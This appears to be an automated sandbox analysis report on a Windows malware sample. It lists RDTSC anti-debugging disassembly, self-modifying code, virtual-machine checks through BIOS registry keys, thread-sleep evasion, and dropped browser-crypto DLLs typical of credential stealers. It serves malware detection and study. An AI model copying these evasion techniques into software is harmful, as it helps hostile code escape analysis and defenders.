Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A57334 second address: A57338 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A57338 second address: A5735C instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F528074EBD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F528074EBE6h 0x00000013 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A5735C second address: A573CD instructions: 0x00000000 rdtsc 0x00000002 jo 00007F528105F328h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push ecx 0x00000010 call 00007F528105F328h 0x00000015 pop ecx 0x00000016 mov dword ptr [esp+04h], ecx 0x0000001a add dword ptr [esp+04h], 0000001Ch 0x00000022 inc ecx 0x00000023 push ecx 0x00000024 ret 0x00000025 pop ecx 0x00000026 ret 0x00000027 sub dword ptr [ebp+122D2525h], ebx 0x0000002d push 00000000h 0x0000002f sub edi, 333BFDB1h 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push edi 0x0000003a call 00007F528105F328h 0x0000003f pop edi 0x00000040 mov dword ptr [esp+04h], edi 0x00000044 add dword ptr [esp+04h], 00000018h 0x0000004c inc edi 0x0000004d push edi 0x0000004e ret 0x0000004f pop edi 0x00000050 ret 0x00000051 cld 0x00000052 push eax 0x00000053 push eax 0x00000054 push edx 0x00000055 jmp 00007F528105F32Ch 0x0000005a rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A5ACC3 second address: A5AD48 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F528074EBDBh 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007F528074EBD8h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 00000015h 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 mov edi, ebx 0x0000002a sub dword ptr [ebp+122D33A4h], ebx 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push edx 0x00000035 call 00007F528074EBD8h 0x0000003a pop edx 0x0000003b mov dword ptr [esp+04h], edx 0x0000003f add dword ptr [esp+04h], 00000015h 0x00000047 inc edx 0x00000048 push edx 0x00000049 ret 0x0000004a pop edx 0x0000004b ret 0x0000004c jno 00007F528074EBD6h 0x00000052 push 00000000h 0x00000054 jmp 00007F528074EBE8h 0x00000059 xchg eax, ebx 0x0000005a push eax 0x0000005b push edx 0x0000005c pushad 0x0000005d push esi 0x0000005e pop esi 0x0000005f ja 00007F528074EBD6h 0x00000065 popad 0x00000066 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A5AD48 second address: A5AD6E instructions: 0x00000000 rdtsc 0x00000002 jno 00007F528105F33Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A5AD6E second address: A5AD72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A5C2AE second address: A5C2C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F528105F32Dh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A5E058 second address: A5E077 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jmp 00007F528074EBE3h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A584F8 second address: A584FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A584FD second address: A58504 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A58504 second address: A5851D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b jmp 00007F528105F32Dh 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A60B0A second address: A60B0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A60B0E second address: A60B80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jns 00007F528105F334h 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F528105F32Ah 0x00000015 popad 0x00000016 nop 0x00000017 push ecx 0x00000018 mov dword ptr [ebp+122D1CD5h], esi 0x0000001e pop ebx 0x0000001f jmp 00007F528105F32Eh 0x00000024 push 00000000h 0x00000026 push 00000000h 0x00000028 push edi 0x00000029 call 00007F528105F328h 0x0000002e pop edi 0x0000002f mov dword ptr [esp+04h], edi 0x00000033 add dword ptr [esp+04h], 0000001Dh 0x0000003b inc edi 0x0000003c push edi 0x0000003d ret 0x0000003e pop edi 0x0000003f ret 0x00000040 and ebx, 3286BB64h 0x00000046 push 00000000h 0x00000048 mov di, 4CA4h 0x0000004c xchg eax, esi 0x0000004d push eax 0x0000004e push edx 0x0000004f pushad 0x00000050 push edi 0x00000051 pop edi 0x00000052 je 00007F528105F326h 0x00000058 popad 0x00000059 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A60B80 second address: A60B95 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jbe 00007F528074EBDCh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A60B95 second address: A60B99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A60B99 second address: A60B9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A60B9F second address: A60BA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A60BA3 second address: A60BA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A61B46 second address: A61BC0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F528105F32Eh 0x00000008 js 00007F528105F326h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov dword ptr [esp], eax 0x00000014 push 00000000h 0x00000016 push ebp 0x00000017 call 00007F528105F328h 0x0000001c pop ebp 0x0000001d mov dword ptr [esp+04h], ebp 0x00000021 add dword ptr [esp+04h], 0000001Ah 0x00000029 inc ebp 0x0000002a push ebp 0x0000002b ret 0x0000002c pop ebp 0x0000002d ret 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push edx 0x00000033 call 00007F528105F328h 0x00000038 pop edx 0x00000039 mov dword ptr [esp+04h], edx 0x0000003d add dword ptr [esp+04h], 00000014h 0x00000045 inc edx 0x00000046 push edx 0x00000047 ret 0x00000048 pop edx 0x00000049 ret 0x0000004a add dword ptr [ebp+122D36A2h], ecx 0x00000050 push 00000000h 0x00000052 cmc 0x00000053 mov ebx, ecx 0x00000055 xchg eax, esi 0x00000056 jmp 00007F528105F32Ah 0x0000005b push eax 0x0000005c push eax 0x0000005d push edx 0x0000005e push eax 0x0000005f push edx 0x00000060 push edi 0x00000061 pop edi 0x00000062 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A61BC0 second address: A61BC6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A61BC6 second address: A61BD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F528105F32Fh 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A62B24 second address: A62B28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A62B28 second address: A62B34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A62B34 second address: A62BAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edi 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ebp 0x0000000a call 00007F528074EBD8h 0x0000000f pop ebp 0x00000010 mov dword ptr [esp+04h], ebp 0x00000014 add dword ptr [esp+04h], 0000001Bh 0x0000001c inc ebp 0x0000001d push ebp 0x0000001e ret 0x0000001f pop ebp 0x00000020 ret 0x00000021 push 00000000h 0x00000023 push 00000000h 0x00000025 push ecx 0x00000026 call 00007F528074EBD8h 0x0000002b pop ecx 0x0000002c mov dword ptr [esp+04h], ecx 0x00000030 add dword ptr [esp+04h], 00000019h 0x00000038 inc ecx 0x00000039 push ecx 0x0000003a ret 0x0000003b pop ecx 0x0000003c ret 0x0000003d push edx 0x0000003e mov dword ptr [ebp+124678EEh], edx 0x00000044 pop ebx 0x00000045 mov edi, dword ptr [ebp+122D3528h] 0x0000004b push 00000000h 0x0000004d jnp 00007F528074EBDAh 0x00000053 mov bx, 916Ah 0x00000057 push eax 0x00000058 pushad 0x00000059 push ecx 0x0000005a jnl 00007F528074EBD6h 0x00000060 pop ecx 0x00000061 pushad 0x00000062 pushad 0x00000063 popad 0x00000064 push eax 0x00000065 push edx 0x00000066 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A63B38 second address: A63B4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jnp 00007F528105F328h 0x00000010 push eax 0x00000011 push edx 0x00000012 push esi 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A64C9A second address: A64CA4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A65CCA second address: A65CD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A65CD0 second address: A65D75 instructions: 0x00000000 rdtsc 0x00000002 je 00007F528074EBD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push ebp 0x00000010 call 00007F528074EBD8h 0x00000015 pop ebp 0x00000016 mov dword ptr [esp+04h], ebp 0x0000001a add dword ptr [esp+04h], 0000001Dh 0x00000022 inc ebp 0x00000023 push ebp 0x00000024 ret 0x00000025 pop ebp 0x00000026 ret 0x00000027 call 00007F528074EBDCh 0x0000002c sub edi, dword ptr [ebp+122D3B74h] 0x00000032 pop edi 0x00000033 push 00000000h 0x00000035 pushad 0x00000036 and ecx, dword ptr [ebp+122D21EEh] 0x0000003c jmp 00007F528074EBE2h 0x00000041 popad 0x00000042 push 00000000h 0x00000044 push 00000000h 0x00000046 push ebx 0x00000047 call 00007F528074EBD8h 0x0000004c pop ebx 0x0000004d mov dword ptr [esp+04h], ebx 0x00000051 add dword ptr [esp+04h], 0000001Dh 0x00000059 inc ebx 0x0000005a push ebx 0x0000005b ret 0x0000005c pop ebx 0x0000005d ret 0x0000005e sub ebx, 79155900h 0x00000064 jg 00007F528074EBDCh 0x0000006a adc ebx, 056129ADh 0x00000070 xchg eax, esi 0x00000071 push eax 0x00000072 push edx 0x00000073 push eax 0x00000074 push edx 0x00000075 jnc 00007F528074EBD6h 0x0000007b rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A65D75 second address: A65D7F instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F528105F326h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A66E5B second address: A66E5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A66E5F second address: A66E95 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F528105F338h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007F528105F333h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A66E95 second address: A66E99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A67F59 second address: A67F60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A6AE24 second address: A6AEAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 je 00007F528074EBDCh 0x0000000d jne 00007F528074EBD6h 0x00000013 popad 0x00000014 push eax 0x00000015 jns 00007F528074EBE8h 0x0000001b nop 0x0000001c push 00000000h 0x0000001e push edi 0x0000001f call 00007F528074EBD8h 0x00000024 pop edi 0x00000025 mov dword ptr [esp+04h], edi 0x00000029 add dword ptr [esp+04h], 0000001Ah 0x00000031 inc edi 0x00000032 push edi 0x00000033 ret 0x00000034 pop edi 0x00000035 ret 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push ebp 0x0000003b call 00007F528074EBD8h 0x00000040 pop ebp 0x00000041 mov dword ptr [esp+04h], ebp 0x00000045 add dword ptr [esp+04h], 0000001Bh 0x0000004d inc ebp 0x0000004e push ebp 0x0000004f ret 0x00000050 pop ebp 0x00000051 ret 0x00000052 mov edi, dword ptr [ebp+122D1D62h] 0x00000058 push 00000000h 0x0000005a push eax 0x0000005b push eax 0x0000005c push edx 0x0000005d jno 00007F528074EBD8h 0x00000063 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A6CDC7 second address: A6CDCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A6CDCD second address: A6CDD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A6EE6A second address: A6EE6F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A6EF16 second address: A6EF1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A6FF96 second address: A6FFA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A5A067 second address: A5A06D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A7328E second address: A73292 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A73292 second address: A7329E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jns 00007F528074EBD6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	RDTSC instruction interceptor: First address: A5AA7C second address: A5AA8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push edx 0x0000000a pop edx 0x0000000b jnc 00007F528105F326h 0x00000011 popad 0x00000012 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F7FC33 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1124AAE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 112358F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F7D61E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F7FB98 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1137ECC instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Special instruction interceptor: First address: A4D6AB instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Special instruction interceptor: First address: 8AEC2C instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Special instruction interceptor: First address: AD2DFB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 36D6AB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 1CEC2C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 3F2DFB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Special instruction interceptor: First address: ECFC33 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Special instruction interceptor: First address: 1074AAE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Special instruction interceptor: First address: 107358F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Special instruction interceptor: First address: ECD61E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Special instruction interceptor: First address: ECFB98 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Special instruction interceptor: First address: 1087ECC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Special instruction interceptor: First address: D4DEBF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Special instruction interceptor: First address: D4DFCD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Special instruction interceptor: First address: EFA734 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Special instruction interceptor: First address: F26EEA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Special instruction interceptor: First address: F93CBB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Special instruction interceptor: First address: D52E95 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Memory allocated: 4900000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Memory allocated: 4AE0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Memory allocated: 6AE0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Memory allocated: 5360000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Memory allocated: 56B0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Memory allocated: 55F0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Memory allocated: 5560000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Memory allocated: 5760000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Memory allocated: 5560000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsHCFBFBAEBK.exe

Code function: 21_2_04A10D28 rdtsc

21_2_04A10D28

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Window / User API: threadDelayed 430

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.3 %

Source: C:\Users\user\Desktop\file.exe TID: 6128	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6188	Thread sleep count: 31 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6188	Thread sleep time: -62031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6656	Thread sleep time: -48024s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1352	Thread sleep time: -48024s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6604	Thread sleep time: -42021s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5908	Thread sleep time: -48024s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2968	Thread sleep count: 67 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2968	Thread sleep time: -134067s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6036	Thread sleep count: 54 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6036	Thread sleep time: -108054s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8164	Thread sleep count: 430 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8164	Thread sleep time: -12900000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6984	Thread sleep count: 57 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6984	Thread sleep time: -114057s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5796	Thread sleep count: 42 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5796	Thread sleep time: -84042s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4672	Thread sleep count: 69 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4672	Thread sleep time: -138069s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7392	Thread sleep count: 68 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7392	Thread sleep time: -136068s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8280	Thread sleep time: -180000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6304	Thread sleep count: 56 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6304	Thread sleep time: -112056s >= -30000s
